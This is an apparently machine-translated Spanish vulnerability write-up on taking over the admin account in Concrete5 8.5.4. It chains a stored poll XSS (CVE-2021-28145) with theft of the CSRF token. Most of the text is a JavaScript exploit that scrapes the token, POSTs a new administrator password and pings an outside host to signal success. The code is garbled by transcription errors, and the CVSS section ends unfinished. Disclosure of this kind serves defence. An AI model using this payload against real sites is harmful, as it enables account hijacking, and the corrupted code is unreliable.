
Encuesta XSS combinada con CSRF conduce a la toma de control de la cuenta de administrador en Concrete5 8.5.4
Un administrador de Concrete CMS en versiones anteriores a la 9 no tenía que proporcionar su contraseña al cambiar la contraseña de otro usuario.
En combinación con CVE-2021-28145 ("Concrete CMS (anteriormente concrete5) antes de 8.5.5 permite a usuarios autenticados remotos realizar ataques XSS a través de un bloque de encuesta manipulado. Esto requiere al menos privilegios de Editor": la corrección se incluyó en la versión 8.5.5.) es posible que un usuario con pocos privilegios, por ejemplo un desarrollador o un usuario público que pueda crear encuestas, inserte código JavaScript malicioso en la aplicación web. Los resultados de las encuestas pueden ser revisados por un administrador en su interfaz web en Informes > Encuestas. Allí también se ejecuta el código JavaScript malicioso. Concrete5 tiene una protección CSRF que se puede eludir fácilmente robando el token correspondiente de la página antes de ejecutar una solicitud. Como Concrete5 no solicita la contraseña anterior al cambiarla, es posible cambiar la contraseña del administrador con mucha facilidad.
var ccm_token = ";
var body = ";
var regex = /[0-9]{10}\:[a-f0-9]{32}/g;
var req = new XMLHttpRequest();
var req2 = new XMLHttpRequest();
req.open("GET","/concrete5-8.5.4/index.php/dashboard/users/search/view/1", true);
req.setRequestHeader("X-Requested-With", "XMLHttpRequest");
req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req. send();
req.onreadystatechange = function () {
if (req.readyState == 4 bb req.status == 200) {
body = req.responseText;
ccm_token = body.match(regex)[3];
}
};
setTimeout(() => {
confirm("Admin Account Takeover through XSS and CSRF Bypass in Concrete5 v.8.5.4 by Silky. CSRF Tok en: "+ccm_token);
req2.open("POST","/concrete5-8.5.4/index.php/dashboard/users/search/change_password/1", true);
req2.setRequestHeader("X-Requested-With", "XMLHttpRequest");
req2.setRequestHeader('Content-type', eapplication/x-www-form-urlencoded.);
req2.send("ccm_token="+ccm_token+"&uPassword=Demonstration_by_SilkyEruPasswordConfirm=Demonstration_ by_Silkyt_ccm_consider_request_as_xhr=1");
req2.onreadystatechange = function () {
if (req2.readyState == 4 bb req2.status == 200) {
body = req2.responseText;
if (body.includes("Password updated successfully.")){
console.log("Password updated successfully.");
var myImage = new Image(0, 0);
myImage.src = Ihttp://192.168.56.1:5686/Password_changed_successfullys;
}
else{
console.log("Something went wrong");
}
}
}
},2000);
Puntuaciones CVSS:
Resultando en una puntuación final de